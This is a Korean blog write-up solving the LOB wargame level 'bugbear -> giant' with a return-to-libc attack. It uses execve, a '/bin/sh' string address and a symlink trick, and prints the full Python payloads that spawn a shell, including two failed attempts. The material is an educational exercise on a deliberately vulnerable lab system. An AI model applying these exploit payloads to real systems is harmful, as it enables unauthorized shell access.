LOB bugbear -> giant
ID : bugbear
Passwd : new divide
접속해서 ls 명령어로 파일을 확인합니다.
cat으로 code를 열어보면 소스가 긴데요.
간단히 해석하자면, library에 있는 execve 함수의 주소를 execve_addr 포인터 변수에 저장하고, 그 주소와 Return Address를 비교해서 같지 않으면 종료됩니다.
즉, 이 문제는 execve 함수를 이용해서 풀어야 한다는 것입니다.
그럼 execve 함수는 무슨 함수일까요?
int execve (const char *filename, char *const argv [], char *const envp[]);
원형은 이렇습니다.
*filename에는 파일의 절대 경로를, * argv []에는 그 파일을 실행할 때 넘겨줄 인자(or 명령), * envp []는 환경 변수를 넘겨줄 수 있습니다.
payload를 구성해보면
./bugbear python –c ‘print “A”*44 + execve()’s address + dummy(4byte) + *filename + * argv [] + * envp []’`
이렇게 되는데, *filename에 &“/bin/sh”를 넣게 되면, 쉘이 실행될 것입니다. argv[0]도 *filename에 파일의 절대 경로를 넘겨줬기 때문에 &&“/bin/sh”를 넣어줘야 합니다. 관습적으로 argv[0]에는 *filename과 같은 값을 넣어주기 때문입니다. 그리고 왜 &&이냐면 포인터 배열이기 때문입니다.
그리고 argv가 끝난 것을 표시해주기 위해서 argv[1]에는 NULL을 넣어 주도록 합시다. 그리고 환경 변수는 상관 없으니 NULL의 주소를 넣어줍시다.(NULL 자체를 payload에 받으면 끊기기 때문)
execve(&”/bin/sh”, {&&”/bin/sh”, 0}, 0); 이렇게 말입니다.
//사실, argv[0]은 관습적일 뿐이지, argv[0]은 뭐가 들어가는지 상관 없습니다. 값만 있으면 됩니다.
이제는 execve()의 주소, “/bin/sh” 문자열의 주소, “/bin/sh” 문자열의 주소를 담고있는 주소, NULL의 주소를 구해야 합니다.
구하기 위해 tmp 디렉터리에 복사하겠습니다.
0x400a9d48이 execve() 의 주소입니다.
이제 “/bin/sh”를 찾기 위해 system()의 내부를 뒤져보도록 하겠습니다.
0x400fbff9, “/bin/sh” 문자열의 주소를 구했습니다.
하지만 “/bin/sh” 문자열의 주소를 담는 주소는 어떻게 구할까요?
바로 심볼릭 링크를 이용해서 파일의 이름을 “/bin/sh” 문자열의 주소로 만들고, 스택 끝부분에 있는 파일 이름의 주소를 넣어주면 됩니다.
NULL의 주소 또한 스택 맨 끝에는 무조건 NULL로 차여 있어서 그 부분을 이용하겠습니다.
일단 0x400fbff9 (“/bin/sh”의 주소)를 이름으로 하는 심볼릭 링크를 만들겠습니다.
ln –s giant `python –c ‘print “\xf9\xbf\x0f\x40”’`
그리고 gdb로 열어보면,
0xbffffff7 에는 프로그램 이름이, 0xbffffffc 에는 NULL이 들어있습니다.
payload : ./`python –c ‘print “\xf9\xbf\x0f\x40”` `python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “AAAA” + “\xf9\xbf\x0f\x40” + “\xf7\xff\xff\xbf" + “\xfc\xff\xff\xbf"’`
공격해보겠습니다.
실패합니다.
왜냐하면 \x0a는 \n (개행)이기 때문에 한 번 더 문자열 처리를 해주어야 합니다.
payload : ./`python –c ‘print “\xf9\xbf\x0f\x40”` “`python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “AAAA” + “\xf9\xbf\x0f\x40” + “\xf7\xff\xff\xbf" + “\xfc\xff\xff\xbf"’`”
그래도 실패합니다.
이상해서 gdb로 까봤는데, execve_addr에 이상한 값이 들어가 있었습니다. 그래서 혹시 권한 때문인가 싶어서 심볼릭 링크로 원본 파일을 지정하고 공격했습니다.
아마 복사 파일이라 접근 권한이 없어서 execve_addr에 이상한 값이 있었던 것 같습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB assassin -> zombie_assassin Write up (0) | 2017.11.12 |
---|---|
LOB giant -> assassin Write up (0) | 2017.11.09 |
LOB darkknight -> bugbear Write up (0) | 2017.10.26 |
LOB golem -> darkknight Write up (0) | 2017.10.26 |
LOB skeleton -> golem Write up (0) | 2017.10.12 |